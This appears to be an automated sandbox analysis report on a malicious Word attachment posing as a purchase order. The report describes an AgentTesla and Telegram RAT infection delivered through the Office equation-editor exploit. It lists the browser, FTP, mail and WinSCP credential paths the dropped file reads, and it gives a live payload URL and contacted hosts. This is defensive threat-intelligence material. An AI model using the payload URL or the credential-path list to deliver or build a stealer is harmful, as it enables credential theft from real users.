Source: Yara match File source: 00000005.00000002.721925198.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.464298353.00000000031C9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.722361543.000000000238D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.722327903.0000000002338000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.722261474.00000000022B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: gudostrp.exe PID: 1212, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: gudostrp.exe PID: 2576, type: MEMORYSTR
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Roaming\gudostrp.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to steal Mail credentials (via file access)
Source: C:\Users\user\AppData\Roaming\gudostrp.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Roaming\gudostrp.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000005.00000002.722261474.00000000022B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: gudostrp.exe PID: 2576, type: MEMORYSTR

Remote Access Functionality:

barindex
Yara detected Telegram RAT
Source: Yara match File source: 00000005.00000002.722261474.00000000022B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: gudostrp.exe PID: 2576, type: MEMORYSTR
Yara detected AgentTesla
Source: Yara match File source: 5.2.gudostrp.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.gudostrp.exe.31ca110.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.gudostrp.exe.3200330.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.gudostrp.exe.3200330.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.gudostrp.exe.31ca110.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.721925198.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.464298353.00000000031C9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.722361543.000000000238D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.722327903.0000000002338000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.722261474.00000000022B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: gudostrp.exe PID: 1212, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: gudostrp.exe PID: 2576, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 502700 Sample: Purchase Order_0131021.doc Startdate: 14/10/2021 Architecture: WINDOWS Score: 100 29 Found malware configuration 2->29 31 Antivirus detection for URL or domain 2->31 33 Multi AV Scanner detection for submitted file 2->33 35 11 other signatures 2->35 7 EQNEDT32.EXE 11 2->7         started        12 WINWORD.EXE 291 25 2->12         started        process3 dnsIp4 27 palangavra.lt 144.76.47.167, 49167, 80 HETZNER-ASDE Germany 7->27 21 C:\Users\user\AppData\Roaming\gudostrp.exe, PE32 7->21 dropped 23 C:\Users\user\AppData\...\gufoxqa[1].exe, PE32 7->23 dropped 45 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 7->45 14 gudostrp.exe 2 7->14         started        file5 signatures6 process7 signatures8 47 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 14->47 49 Machine Learning detection for dropped file 14->49 51 Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines) 14->51 53 2 other signatures 14->53 17 gudostrp.exe 12 2 14->17         started        process9 dnsIp10 25 api.telegram.org 149.154.167.220, 443, 49169 TELEGRAMRU United Kingdom 17->25 37 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 17->37 39 Tries to steal Mail credentials (via file access) 17->39 41 Tries to harvest and steal ftp login credentials 17->41 43 Tries to harvest and steal browser information (history, passwords, etc) 17->43 signatures11
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU false
144.76.47.167
 palangavra.lt Germany
24940 HETZNER-ASDE true

Contacted Domains

Name IP Active
api.telegram.org 149.154.167.220 true
palangavra.lt 144.76.47.167 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://palangavra.lt/jukiestay/gufoxqa.exe true
  • Avira URL Cloud: malware
 unknown